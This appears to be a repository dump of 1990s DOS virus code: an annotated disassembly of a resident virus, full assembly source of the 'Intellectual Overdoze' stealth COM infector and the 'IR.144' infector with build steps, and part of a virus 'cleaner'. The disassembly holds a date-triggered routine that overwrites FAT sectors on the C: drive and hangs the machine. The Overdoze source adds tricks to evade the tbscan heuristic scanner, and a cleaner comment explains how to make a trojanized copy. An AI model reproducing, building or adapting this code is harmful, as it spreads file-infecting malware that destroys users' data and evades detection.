0b59:0047 cd 1a int 1a
0b59:0049 89 16 9d 02 mov [029d],dx
0b59:004d b8 02 42 mov ax,4202
0b59:0050 b9 00 00 mov cx,0000
0b59:0053 ba 00 00 mov dx,0000
0b59:0056 cd 21 int 21
0b59:0058 72 30 jb 008a
0b59:005a 89 16 6c 05 mov [056c],dx
0b59:005e a3 6e 05 mov [056e],ax
0b59:0061 2d 02 00 sub ax,0002
0b59:0064 83 da 00 sbb dx,00
0b59:0067 8b ca mov cx,dx
0b59:0069 8b d0 mov dx,ax
0b59:006b b8 00 42 mov ax,4200
0b59:006e cd 21 int 21
0b59:0070 72 18 jb 008a
0b59:0072 b9 02 00 mov cx,0002
0b59:0075 ba 88 05 mov dx,0588
0b59:0078 b4 3f mov ah,3f
0b59:007a cd 21 int 21
0b59:007c 72 0c jb 008a
0b59:007e a1 82 05 mov ax,[0582]
0b59:0081 33 06 88 05 xor ax,[0588]
0b59:0085 3d 4a 4c cmp ax,4c4a
0b59:0088 75 03 jnz 008d
0b59:008a e9 01 02 jmp 028e
0b59:008d b4 2a mov ah,2a
0b59:008f cd 21 int 21
0b59:0091 80 fa 13 cmp dl,13
0b59:0094 74 03 jz DO_DAMAGE (0099)
0b59:0096 e9 b7 00 jmp 0150
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
DO_DAMAGE:
; first display the message below
0b59:0099 b8 02 00 mov ax,0002
0b59:009c cd 10 int 10
0b59:009e ba b1 00 mov dx,00b1
0b59:00a1 b4 09 mov ah,09
0b59:00a3 cd 21 int 21
; then overwrite the first 10 sectors of FAT-1 on C: drive
0b59:00a5 b0 02 mov al,02
0b59:00a7 b9 0a 00 mov cx,000a
0b59:00aa ba 01 00 mov dx,0001
0b59:00ad cd 26 int 26
; Hang the machine
0b59:00af eb fe jmp 00af
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
0b59:00b1 59 6f 75 20 68 61 76 65 |You have|
0b59:00b9 20 68 65 6c 70 65 64 20 | helped |
0b59:00c1 73 70 72 65 61 64 20 74 |spread t|
0b59:00c9 68 69 73 20 76 69 72 75 |his viru|
0b59:00d1 73 2e 0d 0a 54 68 69 73 |s...This|
0b59:00d9 20 68 61 73 20 62 65 65 | has bee|
0b59:00e1 6e 20 61 20 6d 65 73 73 |n a mess|
0b59:00e9 61 67 65 20 66 72 6f 6d |age from|
0b59:00f1 20 79 6f 75 72 20 66 72 | your fr|
0b59:00f9 69 65 6e 64 6c 79 0d 0a |iendly..|
0b59:0101 6e 65 69 67 68 62 6f 72 |neighbor|
0b59:0109 68 6f 6f 64 20 69 6e 66 |hood inf|
0b59:0111 65 63 74 69 6f 6e 20 73 |ection s|
0b59:0119 65 72 76 69 63 65 2e 0d |ervice..|
0b59:0121 0a 54 68 61 6e 6b 20 79 |.Thank y|
0b59:0129 6f 75 20 66 6f 72 20 79 |ou for y|
0b59:0131 6f 75 72 20 69 6e 76 6f |our invo|
0b59:0139 6c 75 6e 74 61 72 79 20 |luntary |
0b59:0141 63 6f 6f 70 65 72 61 74 |cooperat|
0b59:0149 69 6f 6e 2e 0d 0a 24 |ion...$|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
0b59:0150 a1 6e 05 mov ax,[056e]
0b59:0153 25 0f 00 and ax,000f
0b59:0156 75 0a jnz 0162
0b59:0158 8b 16 6c 05 mov dx,[056c]
0b59:015c a1 6e 05 mov ax,[056e]
0b59:015f eb 1d jmp 017e
0b59:0161 90 nop
0b59:0162 b2 10 mov dl,10
0b59:0164 2a d0 sub dl,al
0b59:0166 b6 00 mov dh,00
0b59:0168 01 16 6e 05 add [056e],dx
0b59:016c 83 16 6c 05 00 adc word [056c],00
0b59:0171 b9 00 00 mov cx,0000
0b59:0174 b8 02 42 mov ax,4202
0b59:0177 cd 21 int 21
0b59:0179 73 03 jae 017e
0b59:017b e9 10 01 jmp 028e
0b59:017e b9 04 00 mov cx,0004
0b59:0181 d1 ea shr dx,1
0b59:0183 d1 d8 rcr ax,1
0b59:0185 e2 fa loop 0181
0b59:0187 2b 06 78 05 sub ax,[0578]
0b59:018b 01 06 7a 05 add [057a],ax
0b59:018f 8b 16 86 05 mov dx,[0586]
0b59:0193 89 16 a6 04 mov [04a6],dx
0b59:0197 8b 16 84 05 mov dx,[0584]
0b59:019b 89 16 a4 04 mov [04a4],dx
0b59:019f 8b 16 7e 05 mov dx,[057e]
0b59:01a3 89 16 9b 04 mov [049b],dx
0b59:01a7 8b 16 80 05 mov dx,[0580]
0b59:01ab 89 16 a0 04 mov [04a0],dx
0b59:01af a3 86 05 mov [0586],ax
0b59:01b2 c7 06 84 05 58 05 mov word [0584],0558
0b59:01b8 05 5f 00 add ax,005f
0b59:01bb a3 7e 05 mov [057e],ax
0b59:01be c7 06 80 05 00 01 mov word [0580],0100
0b59:01c4 a1 9d 02 mov ax,[029d]
0b59:01c7 a3 82 05 mov [0582],ax
0b59:01ca be 14 00 mov si,0014
0b59:01cd 8c df mov di,ds
0b59:01cf 8e c7 mov es,di
0b59:01d1 bf 88 05 mov di,0588
0b59:01d4 b9 ac 02 mov cx,02ac
0b59:01d7 8b 16 9d 02 mov dx,[029d]
0b59:01db fc cld
0b59:01dc ad lodsw
0b59:01dd 33 c2 xor ax,dx
0b59:01df ab stosw
0b59:01e0 e2 fa loop 01dc
0b59:01e2 be 9c 02 mov si,029c
0b59:01e5 d1 ea shr dx,1
0b59:01e7 73 04 jae 01ed
0b59:01e9 c6 05 90 mov byte [di],90
0b59:01ec 47 inc di
0b59:01ed a5 movs
0b59:01ee a5 movs
0b59:01ef a5 movs
0b59:01f0 b9 0a 00 mov cx,000a
0b59:01f3 83 f9 03 cmp cx,03
0b59:01f6 75 02 jnz 01fa
0b59:01f8 8b ef mov bp,di
0b59:01fa d1 ea shr dx,1
0b59:01fc 73 04 jae 0202
0b59:01fe c6 05 90 mov byte [di],90
0b59:0201 47 inc di
0b59:0202 a5 movsw
0b59:0203 e2 ee loop 01f3
0b59:0205 b0 e2 mov al,e2
0b59:0207 aa stosb
0b59:0208 2b ef sub bp,di
0b59:020a 4d dec bp
0b59:020b 8b c5 mov ax,bp
0b59:020d aa stosb
0b59:020e b0 e9 mov al,e9
0b59:0210 aa stosb
0b59:0211 b8 a0 02 mov ax,02a0
0b59:0214 2b c7 sub ax,di
0b59:0216 05 88 05 add ax,0588
0b59:0219 ab stosw
0b59:021a b8 4a 4c mov ax,4c4a
0b59:021d 33 06 9d 02 xor ax,[029d]
0b59:0221 89 05 mov [di],ax
0b59:0223 83 c7 02 add di,02
0b59:0226 81 ef 88 05 sub di,0588
0b59:022a 8b cf mov cx,di
0b59:022c ba 88 05 mov dx,0588
0b59:022f b4 40 mov ah,40
0b59:0231 cd 21 int 21
0b59:0233 72 59 jb 028e
0b59:0235 01 06 6e 05 add [056e],ax
0b59:0239 83 16 6c 05 00 adc word [056c],00
0b59:023e 8b 16 6c 05 mov dx,[056c]
0b59:0242 a1 6e 05 mov ax,[056e]
0b59:0245 8a f2 mov dh,dl
0b59:0247 8a d4 mov dl,ah
0b59:0249 d1 ea shr dx,1
0b59:024b b4 00 mov ah,00
0b59:024d d0 d4 rcl ah,1
0b59:024f 42 inc dx
0b59:0250 89 16 74 05 mov [0574],dx
0b59:0254 a3 72 05 mov [0572],ax
0b59:0257 8b 16 6c 05 mov dx,[056c]
0b59:025b a1 6e 05 mov ax,[056e]
0b59:025e b9 04 00 mov cx,0004
0b59:0261 d1 ea shr dx,1
0b59:0263 d1 d8 rcr ax,1
0b59:0265 e2 fa loop 0261
0b59:0267 2b 06 78 05 sub ax,[0578]
0b59:026b 29 06 7a 05 sub [057a],ax
0b59:026f 73 06 jae 0277
0b59:0271 c7 06 7a 05 00 00 mov word [057a],0000
0b59:0277 b9 00 00 mov cx,0000
0b59:027a ba 00 00 mov dx,0000
0b59:027d b8 00 42 mov ax,4200
0b59:0280 cd 21 int 21
0b59:0282 72 0a jb 028e
0b59:0284 b9 18 00 mov cx,0018
0b59:0287 ba 70 05 mov dx,0570
0b59:028a b4 40 mov ah,40
0b59:028c cd 21 int 21
0b59:028e b4 3e mov ah,3e
0b59:0290 cd 21 int 21
0b59:0292 07 pop es
0b59:0293 1f pop ds
0b59:0294 5a pop dx
0b59:0295 5b pop bx
0b59:0296 58 pop ax
ORIGINAL_21h:
0b59:0297 ea eb 40 19 00 jmp 0019:40eb
0b59:029c ba c4 68 mov dx,68c4
0b59:029f b9 ac 02 mov cx,02ac
0b59:02a2 8c dd mov bp,ds
0b59:02a4 8c c8 mov ax,cs
0b59:02a6 8e d8 mov ds,ax
0b59:02a8 8e c0 mov es,ax
0b59:02aa 33 f6 xor si,si
0b59:02ac 8b fe mov di,si
0b59:02ae fc cld
0b59:02af 90 nop
0b59:02b0 ad lodsw
0b59:02b1 90 nop
0b59:02b2 33 c2 xor ax,dx
0b59:02b4 ab stosw
0b59:02b5 90 nop
0b59:02b6 8e dd mov ds,bp
0b59:02b8 be 80 00 mov si,0080
0b59:02bb bf 66 05 mov di,0566
0b59:02be b9 40 00 mov cx,0040
0b59:02c1 f3 repz
0b59:02c2 a5 movsw
0b59:02c3 8c c0 mov ax,es
0b59:02c5 8e d8 mov ds,ax
0b59:02c7 8b c5 mov ax,bp
0b59:02c9 05 10 00 add ax,0010
0b59:02cc 01 06 92 04 add [0492],ax
0b59:02d0 01 06 87 04 add [0487],ax
; Hook INT 21h
0b59:02d4 b8 00 00 mov ax,0000
0b59:02d7 8e d8 mov ds,ax
0b59:02d9 c4 1e 84 00 les bx,[0084]
0b59:02dd 81 fb b6 0c cmp bx,0cb6
0b59:02e1 75 14 jnz 02f7
0b59:02e3 26 80 3f 9c cmp byte es:[bx],9c
0b59:02e7 75 0e jnz 02f7
0b59:02e9 26 c4 06 c5 02 les ax,es:[02c5]
0b59:02ee fa cli
0b59:02ef a3 84 00 mov [0084],ax
0b59:02f2 8c 06 86 00 mov [0086],es
0b59:02f6 fb sti
0b59:02f7 8c c8 mov ax,cs
0b59:02f9 8e d8 mov ds,ax
0b59:02fb 8e c0 mov es,ax
0b59:02fd b8 00 3d mov ax,3d00
0b59:0300 ba 94 04 mov dx,0494
0b59:0303 cd 21 int 21
0b59:0305 72 79 jb 0380
0b59:0307 8b d8 mov bx,ax
0b59:0309 ba f0 06 mov dx,06f0
0b59:030c b9 00 04 mov cx,0400
0b59:030f b4 3f mov ah,3f
0b59:0311 cd 21 int 21
0b59:0313 72 6e jb 0383
0b59:0315 8b c8 mov cx,ax
0b59:0317 a3 78 05 mov [0578],ax
0b59:031a be f0 06 mov si,06f0
0b59:031d ac lodsb
0b59:031e 3c 44 cmp al,44 ; 'D'
0b59:0320 74 06 jz 0328
0b59:0322 3c 64 cmp al,64 ; 'd'
0b59:0324 e0 f7 loopnz 031d
0b59:0326 e3 5e jcxz 0386
0b59:0328 bf a2 04 mov di,04a2
0b59:032b ac lodsb
0b59:032c 3c 61 cmp al,61 ; 'a'
0b59:032e 72 02 jb 0332
0b59:0330 2c 20 sub al,20
0b59:0332 ae scasb
0b59:0333 e1 f6 loopz 032b
0b59:0335 e3 4f jcxz 0386
0b59:0337 81 ff a8 04 cmp di,04a8
0b59:033b e0 e0 loopnz 031d
0b59:033d 8b fe mov di,si
0b59:033f 4f dec di
0b59:0340 b0 3d mov al,3d
0b59:0342 f2 repnz
0b59:0343 ae scasb
0b59:0344 b0 41 mov al,41
0b59:0346 ae scasb
0b59:0347 77 fd ja 0346
0b59:0349 8b f7 mov si,di
0b59:034b b0 20 mov al,20
0b59:034d ae scasb
0b59:034e 72 fd jb 034d
0b59:0350 c6 45 ff 00 mov byte [-01+di],00
0b59:0354 8b fe mov di,si
0b59:0356 83 ef 04 sub di,04
0b59:0359 80 3c 3a cmp byte [si],3a ; ':'
0b59:035c 74 04 jz 0362
0b59:035e 4e dec si
0b59:035f eb 05 jmp 0366
0b59:0361 90 nop
0b59:0362 83 c7 02 add di,02
0b59:0365 46 inc si
0b59:0366 80 3c 5c cmp byte [si],5c ; '\'
0b59:0369 75 01 jnz 036c
0b59:036b 47 inc di
0b59:036c 8b d7 mov dx,di
0b59:036e be a8 04 mov si,04a8
0b59:0371 b9 03 00 mov cx,0003
0b59:0374 f3 repz
0b59:0375 a4 movsb
0b59:0376 b8 02 3d mov ax,3d02
0b59:0379 cd 21 int 21
0b59:037b 72 09 jb 0386
0b59:037d e9 92 00 jmp 0412
0b59:0380 e9 07 01 jmp 048a
0b59:0383 e9 00 01 jmp 0486
0b59:0386 b4 3e mov ah,3e
0b59:0388 cd 21 int 21
0b59:038a 72 f4 jb 0380
0b59:038c b8 02 3d mov ax,3d02
0b59:038f cd 21 int 21
0b59:0391 72 ed jb 0380
0b59:0393 8b d8 mov bx,ax
0b59:0395 b4 3f mov ah,3f
0b59:0397 b9 ff ff mov cx,ffff
0b59:039a ba 02 07 mov dx,0702
0b59:039d cd 21 int 21
0b59:039f 72 e2 jb 0383
0b59:03a1 bf f0 06 mov di,06f0
0b59:03a4 be b5 04 mov si,04b5
0b59:03a7 b9 12 00 mov cx,0012
0b59:03aa f3 repz
0b59:03ab a4 movsb
0b59:03ac b8 00 42 mov ax,4200
0b59:03af b9 00 00 mov cx,0000
0b59:03b2 ba 00 00 mov dx,0000
0b59:03b5 cd 21 int 21
0b59:03b7 72 ca jb 0383
0b59:03b9 8b 0e 78 05 mov cx,[0578]
0b59:03bd 83 c1 12 add cx,12
0b59:03c0 90 nop
0b59:03c1 ba f0 06 mov dx,06f0
0b59:03c4 b4 40 mov ah,40
0b59:03c6 cd 21 int 21
0b59:03c8 72 b9 jb 0383
0b59:03ca b4 3e mov ah,3e
0b59:03cc cd 21 int 21
0b59:03ce 72 b0 jb 0380
0b59:03d0 b8 13 80 mov ax,8013
0b59:03d3 a3 52 05 mov [0552],ax
0b59:03d6 b8 14 00 mov ax,0014
0b59:03d9 a3 ff 04 mov [04ff],ax
0b59:03dc b8 23 00 mov ax,0023
0b59:03df a3 04 05 mov [0504],ax
0b59:03e2 b9 04 00 mov cx,0004
0b59:03e5 be c8 04 mov si,04c8
0b59:03e8 bf 58 05 mov di,0558
0b59:03eb f3 repz
0b59:03ec a5 movs
0b59:03ed be d0 04 mov si,04d0
0b59:03f0 bf 04 07 mov di,0704
0b59:03f3 b9 21 00 mov cx,0021
0b59:03f6 f3 repz
0b59:03f7 a5 movs
0b59:03f8 b4 3c mov ah,3c
0b59:03fa b9 02 00 mov cx,0002
0b59:03fd ba a8 04 mov dx,04a8
0b59:0400 cd 21 int 21
0b59:0402 73 03 jae 0407
0b59:0404 e9 83 00 jmp 048a
0b59:0407 8b d8 mov bx,ax
0b59:0409 c7 06 62 05 42
00 mov word [0562],0042
0b59:040f eb 4c jmp 045d
0b59:0411 90 nop
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
0b59:0412 8b c8 mov cx,ax
0b59:0414 b4 3e mov ah,3e
0b59:0416 cd 21 int 21
0b59:0418 8b d9 mov bx,cx
0b59:041a 72 6a jb 0486
0b59:041c ba f0 06 mov dx,06f0
0b59:041f b9 ff ff mov cx,ffff
0b59:0422 b4 3f mov ah,3f
0b59:0424 cd 21 int 21
0b59:0426 72 5e jb 0486
0b59:0428 a3 62 05 mov [0562],ax
0b59:042b a1 02 07 mov ax,[0702]
0b59:042e 3d 4a 4c cmp ax,4c4a
0b59:0431 74 53 jz 0486
0b59:0433 a1 f6 06 mov ax,[06f6]
0b59:0436 a3 ff 04 mov [04ff],ax
0b59:0439 a1 f8 06 mov ax,[06f8]
0b59:043c a3 04 05 mov [0504],ax
0b59:043f a1 f4 06 mov ax,[06f4]
0b59:0442 a3 52 05 mov [0552],ax
0b59:0445 b9 04 00 mov cx,0004
0b59:0448 be fa 06 mov si,06fa
0b59:044b bf 58 05 mov di,0558
0b59:044e f3 repz
0b59:044f a5 movs
0b59:0450 b9 00 00 mov cx,0000
0b59:0453 ba 00 00 mov dx,0000
0b59:0456 b8 00 42 mov ax,4200
0b59:0459 cd 21 int 21
0b59:045b 72 29 jb 0486
0b59:045d c7 06 60 05 4a 4c mov word [0560],4c4a
0b59:0463 b9 14 00 mov cx,0014
0b59:0466 ba 4e 05 mov dx,054e
0b59:0469 b4 40 mov ah,40
0b59:046b cd 21 int 21
0b59:046d 72 17 jb 0486
0b59:046f ba 00 00 mov dx,0000
0b59:0472 b9 fc 0a mov cx,0afc
0b59:0475 b4 40 mov ah,40
0b59:0477 cd 21 int 21
0b59:0479 72 0b jb 0486
0b59:047b 8b 0e 62 05 mov cx,[0562]
0b59:047f ba f0 06 mov dx,06f0
0b59:0482 b4 40 mov ah,40
0b59:0484 cd 21 int 21
0b59:0486 b4 3e mov ah,3e
0b59:0488 cd 21 int 21
0b59:048a 8e c5 mov es,bp
0b59:048c bf 80 00 mov di,0080
0b59:048f be 66 05 mov si,0566
0b59:0492 b9 40 00 mov cx,0040
0b59:0495 f3 repz
0b59:0496 a5 movs
0b59:0497 8e dd mov ds,bp
0b59:0499 fa cli
0b59:049a b8 a0 0d mov ax,0da0
0b59:049d 8e d0 mov ss,ax
0b59:049f bc 10 bf mov sp,bf10
0b59:04a2 fb sti
0b59:04a3 ea 00 00 00 00 jmp 0000:0000
0b59:04a8 63 3a 5c 63 6f 6e 66 69 |c:\confi|
0b59:04b0 67 2e 73 79 73 00 45 56 |g.sys.EV|
0b59:04b8 49 43 45 00 43 3a 5c 76 |ICE.C:\v|
0b59:04c0 61 6e 73 69 2e 73 79 73 |ansi.sys|
0b59:04c8 00 64 65 76 69 63 65 3d |.device=|
0b59:04d0 76 61 6e 73 69 2e 73 79 |vansi.sy|
0b59:04d8 73 0d 0a 90 76 61 6e 73 |s...vans|
0b59:04e0 69 20 20 20 |i |
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
STRAT:
0b59:04e4 2e 89 1e 1f 00 mov cs:[001f],bx
0b59:04e9 2e 8c 06 21 00 mov cs:[0021],es
0b59:04ee cb retf
0b59:04ef 00 00 add [bx+si],al
0b59:04f1 00 00 add [bx+si],al
0b59:04f3 53 push bx
0b59:04f4 06 push es
0b59:04f5 2e 8b 1e 1f 00 mov bx,cs:[001f]
0b59:04fa 2e 8e 06 21 00 mov es,cs:[0021]
0b59:04ff 26 c7 47 03 00 00 mov word es:[03+bx],0000
0b59:0505 26 c7 47 0e 42 00 mov word es:[0e+bx],0042
0b59:050b 26 8c 4f 10 mov es:[10+bx],cs
0b59:050f 07 pop es
0b59:0510 5b pop bx
0b59:0511 cb retf
0b59:0512 ea c1 00 0a 0c jmp 0c0a:00c1
0b59:0517 ea cc 00 0a 0c jmp 0c0a:00cc
0b59:051c 50 push ax
0b59:051d 8c c8 mov ax,cs
0b59:051f 05 b1 00 add ax,00b1
0b59:0522 2e a3 15 05 mov cs:[0515],ax
0b59:0526 2e a3 1a 05 mov cs:[051a],ax
0b59:052a b8 12 05 mov ax,0512
0b59:052d 2e a3 06 00 mov cs:[0006],ax
0b59:0531 58 pop ax
0b59:0532 eb de jmp 0512
0b59:0534 50 push ax
0b59:0535 53 push bx
0b59:0536 1e push ds
0b59:0537 fa cli
0b59:0538 b8 00 00 mov ax,0000
0b59:053b 8e d8 mov ds,ax
0b59:053d bb 84 00 mov bx,0084
0b59:0540 8b 07 mov ax,[bx]
0b59:0542 2e a3 98 02 mov cs:[0298],ax
0b59:0546 8b 47 02 mov ax,[02+bx]
0b59:0549 2e a3 9a 02 mov cs:[029a],ax
0b59:054d b8 14 00 mov ax,0014
0b59:0550 89 07 mov [bx],ax
0b59:0552 8c 4f 02 mov [02+bx],cs
0b59:0555 b8 17 05 mov ax,0517
0b59:0558 2e a3 08 00 mov cs:[0008],ax
0b59:055c fb sti
0b59:055d 1f pop ds
0b59:055e 5b pop bx
0b59:055f 58 pop ax
0b59:0560 eb b5 jmp 0517
DEV_HDR:
0b59:0562 ff ????
0b59:0563 ff ????
0b59:0564 ff ????
0b59:0565 ff
53 c0
0b59:0568 1c 05
0b59:056a 34 05
0b59:056c 01 00
0b59:056e 7c 2d
0b59:0570 4d
0b59:0571 5a
+350
View File
@@ -0,0 +1,350 @@
; ------------------------------------------------------------------------------
;
; - Intellectual Overdoze -
; Created by Immortal Riot's destructive development team
; (c) 1994 The Unforgiven/Immortal Riot
;
;-------------------------------------------------------------------------------
; þ Memory Resident Stealth Infector of COM-programs þ
;-------------------------------------------------------------------------------
.model tiny
.code
org 100h
start:
jmp virus_start ; for first generation only!
db 'V' ; mark org file infected
virus_start:
mov sp,102h ; get delta offset without
call get_delta_offset ; getting detected by tbscan
get_delta_offset:
call cheat_tbscan ; kick's tbscan's heuristics
mov si,word ptr ds:[100h] ; real bad!
mov sp,0fffeh
sub si,offset get_delta_offset
jmp short go_resident
cheat_tbscan:
mov ax,0305h ; keyb i/o
xor bx,bx
int 16h
ret
go_resident:
mov bp,si
installtion_check:
mov ax,6666h
int 21h
cmp bx,6666h ; 6666h returned in bx?
je already_resident ; = assume resident
push cs
pop ds
resize_memory_block:
mov ah,4ah ; find top of memory
mov bx,0ffffh ; (65536)
int 21h
resize_memory_block_for_virus:
sub bx,(virus_end-virus_start+15)/16+1 ; resize enough para's
mov ah,4ah ; for virus
int 21h
allocate_memory_block_for_virus:
mov ah,48h ; allocate for virus
mov bx,(virus_end-virus_start+15)/16
int 21h
jc not_enough_mem ; not enough memory!
dec ax ; ax - 1 = mcb
push es
mark_allocated_memory_block_to_dos:
mov es,ax
mov byte ptr es:[0],'Z'
mov word ptr es:[1],8 ; dos = mcb owner
inc ax
copy_virus_to_memory:
cld ; clear direction for movsw
lea si,[bp+offset virus_start] ; vir start
mov es,ax
xor di,di
mov cx,(virus_end-virus_start+4)/2 ; vir len
rep movsw
manually_hook_of_int21h:
xor ax,ax
mov ds,ax
push ds
; get/set int vector for int21
lds ax,ds:[21h*4]
mov word ptr es:[oldint21h-virus_start],ax
mov word ptr es:[oldint21h-virus_start+2],ds
pop ds
mov word ptr ds:[21h*4],(newint21h-virus_start)
mov bx,es ; cheat tbscan since
mov ds:[21h*4+2],bx ; mov ds:[21h*4+2],es = M flag
push cs
pop ds
exit:
not_enough_mem:
already_resident:
push cs
pop es
restore_first_bytes:
mov di,100h
mov cx,4
mov si,offset orgbuf
add si,bp ; fix correct offset (delta)
repne movsb
jmp_org_program:
mov ax,101h ; cheats tbscan's back to
dec ax ; entry point
jmp ax
newint21h:
cmp ax,4b00h ; file executed?
je infect
cmp ah,11h ; fcb findfirst call?
je fcb_stealth
cmp ah,12h ; fcb findnext call?
je fcb_stealth
cmp ax,6666h ; residency check
jne do_old21h ; not resident
mov bx,6666h ; return marker in bx
do_old21h:
jmp dword ptr cs:[(oldint21h-virus_start)] ; jmp ssss:oooo
ret
fcb_stealth:
pushf
push cs ; fake a int call with pushf
call do_old21h ; and cs, ip on the stack
cmp al,00 ; dir successfull?
jnz dir_error ; naw, skip stealth routine!
push ax
push bx
push es
mov ah,51h ; Get active PSP to es:bx
int 21h
mov es,bx
cmp bx,es:[16h] ; Dos calling it?
jnz not_dos ; Nope!
mov bx,dx
mov al,[bx] ; al = current drive
push ax
mov ah,2fh ; get dta area
int 21h
pop ax ; check extended fcb
inc al ; "cmp byte ptr [bx],0ffh"
jnz normal_fcb ; nope, regular fcb!
ext_fcb:
add bx,7h ; skip junkie if ext fcb
normal_fcb:
mov ax,es:[bx+17h] ; get second value
and ax,1fh
xor al,01h
jnz no_stealth ; second-stealth value match
; Here one should really check (i) if the file was a comfile, and (ii),
; the file-size ( >472 bytes) But oh well, maybe to come..
and byte ptr es:[bx+17h],0e0h ; substract virus len
sub es:[bx+1dh],(virus_end-virus_start)
sbb es:[bx+1fh],ax
no_stealth:
not_dos:
pop es
pop bx
pop ax
dir_error:
iret
infect:
push ax
push bx
push cx
push dx
push di
push si
push ds
push es
open_file:
mov ax,3d02h ; open file in read/write
int 21h ; mode
jc error_open ; error on file open
xchg ax,bx ; file handle in bx
push ds
push cs
pop ds
read_firstbytes:
mov ah,3fh ; read first four bytes
mov dx,(orgbuf-virus_start) ; to orgbuf
mov cx,4
int 21h
check_file_executed:
cmp byte ptr cs:[(orgbuf-virus_start)],'M' ; check only first byte
je exe_file ; - fooling tbscan
check_previous_infection:
cmp byte ptr cs:[(orgbuf-virus_start)+3],'V' ; already infected?
je already_infected
jmp short get_file_time_date ; not infected
error_open:
already_infected:
exe_file:
jmp exit_proc ; dont infect file
get_file_time_date:
mov ax,5700h ; get time/date
int 21h
mov word ptr cs:[(old_time-virus_start)],cx ; save time
mov word ptr cs:[(old_date-virus_start)],dx ; and date
go_endoffile:
mov ax,4202h ; go end of file
xor cx,cx
cwd
int 21h
check_file_size:
cmp ax,3072d ; check file-size
jb too_small
cmp ax,64000d
ja too_big
create_newjump:
sub ax,3 ; 0e9h,XX,XX,
mov word ptr cs:[(newbuf+1-virus_start)],ax ; V => AX
write_virus:
mov ah,40h ; write virus to end of file
mov cx,(virus_end-virus_start)
; cwd ; (dx = 0 since go eof)
int 21h
go_tof:
mov ax,4200h
xor cx,cx
; cwd ; ( dx = 0 since go eof)
int 21h
write_newjump:
mov ah,40h ; write new jmp to tof
mov cx,4 ; = 0E9H,XX,XX,V
mov dx,(newbuf-virus_start) ; offset to write from
int 21h
set_org_time_date:
too_small:
too_big:
mov ax,5701h ; set back org
mov word ptr cx,cs:[(old_time-virus_start)] ; time
mov word ptr dx,cs:[(old_date-virus_start)] ; date
set_stealth_marker:
and cl,0e0h ; give file
inc cl ; specific
int 21h ; second val
close_file:
mov ah,3eh ; close file
int 21h
exit_proc:
pop ds
pop es
pop ds
pop si
pop di
pop dx
pop cx
pop bx
pop ax
jmp dword ptr cs:[(oldint21h-virus_start)] ; jmp ssss:oooo
old_date dw 0 ; storage buffers
old_time dw 0 ; for file time/date
oldint21h dd ? ; and oldint21h
orgbuf db 0cdh,20h,00,00 ; buffer to save first 4 bytes in
newbuf db 0E9h,00,00,'V' ; buffer to calculate a new entry
copyrt db "[Overdoze] (c) 1994 The Unforgiven/Immortal Riot"
virus_end:
end start
+123
View File
@@ -0,0 +1,123 @@
; Virusname: IR.144
; Origin : Sweden
; Author : Metal Militia/Immortal Riot
;
; Ok, this is not one of the very tiny viruses out there today, but to
; date this is the smallest one I've ever made and since I never really
; care about size when I write my creations I think thisone's pretty ok.
; There are others out there on about 100 bytes that does the same, but
; who gives a shit? If you don't like thisone, take a look at my
; "fixed-up" version [UNIQ], also included in this issue of Insane
; Reality.
;
; In order to get thisone working it needs a host, so create the
; following bytes of code and then do a "copy /b dummy.com+ir144.com
; ready.com" and woha! A very working copy.
;
; -----------------------
; .model tiny ; DUMMY.ASM
; .code
; org 100h
;
; sov:
;
; xchg ax,ax ; nop
; xchg ax,ax ; nop
; xchg ax,ax ; nop
; xchg ax,ax ; nop
;
; end sov
; -----------------------
.model tiny ; IR144.ASM
.radix 16
.code
org 100
start:
call get_offset
get_offset:
pop bp ; get the
sub bp,offset get_offset ; delta offset
lea si,[buffa_bytes+bp] ; restore our
mov di,100 ; first four
movsw ; bytes
movsw
lea dx,[end_virus+bp] ; set the
mov ah,1a ; DTA to eov
int 21
lea dx,[find_files+bp] ; matching "*.com"
mov ah,4e ; find first
find_next:
int 21
jc reset_DTA
lea dx,[end_virus+1e+bp]
mov ax,3d02 ; open it
int 21
jc get_more
xchg bx,ax
mov cx,4 ; first four bytes
mov ah,3f ; read em
lea dx,[buffa_bytes+bp] ; and put them in
int 21 ; our buffer
cmp byte ptr [buffa_bytes+bp+3],'V' ; check if already
jz close_em ; infected
mov ax,4202 ; goto EOF
sub cx,cx
cwd
int 21
sub ax,3
mov word ptr [bp+jump_bytes+1],ax ; use our 'jmp' bytes
mov ah,40 ; write our
mov cx,end_virus-start ; viral code
lea dx,[bp+start] ; to victim file
int 21
mov ax,4200 ; goto SOF
sub cx,cx
cwd
int 21
mov ah,40 ; write our
mov cx,4 ; first four
lea dx,[bp+jump_bytes] ; bytes over
int 21 ; the original
close_em:
mov ah,3e ; close file
int 21
get_more:
mov ah,4f ; find next
jmp find_next
reset_DTA:
mov dx,80 ; reset the DTA
mov ah,1a
int 21
mov di,100 ; and return
push di ; to the original
ret ; program
find_files db '*.com',0 ; victim files
jump_bytes db 0e9,0,0,'V' ; our 'jmp' bytes
buffa_bytes: ; the original first four bytes will be put here
xchg ax,ax ; nop
xchg ax,ax ; nop
int 20 ; ret(urn) to prompt
end_virus:
end start
@@ -0,0 +1,295 @@
; Binary Obsession Cleaner
; - By Ratman -
data_18e equ 9CDh ;*
data_19e equ 4F43h ;*
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
irm_kill proc far
start:
mov ah,9
mov dx,offset data_1 ; ('IR Multi-Partite Virus K')
int 21h ; DOS Services ah=function 09h
; display char string at ds:dx
;====( Here is the program's self-check routine )==============================;
cmp word ptr ds:data_18e,3E8h
jne loc_1
; jmp short loc_1 ; 'Crack it'
; If you want it 'cracked', exchange the jne loc_1 to "jmp short loc_1" and
; voila!.. Program run like it wasn't modified.. All trivia really, and
; very usuful if one want a trojanized version of this program :).
mov ah,9
mov dx,offset data_6 ; ('Scanner fails Self-Check')
int 21h ; DOS Services ah=function 09h
; display char string at ds:dx
int 20h ; DOS program terminate
loc_1:
mov ax,201h
mov bx,offset data_15
mov cx,1
mov dx,80h
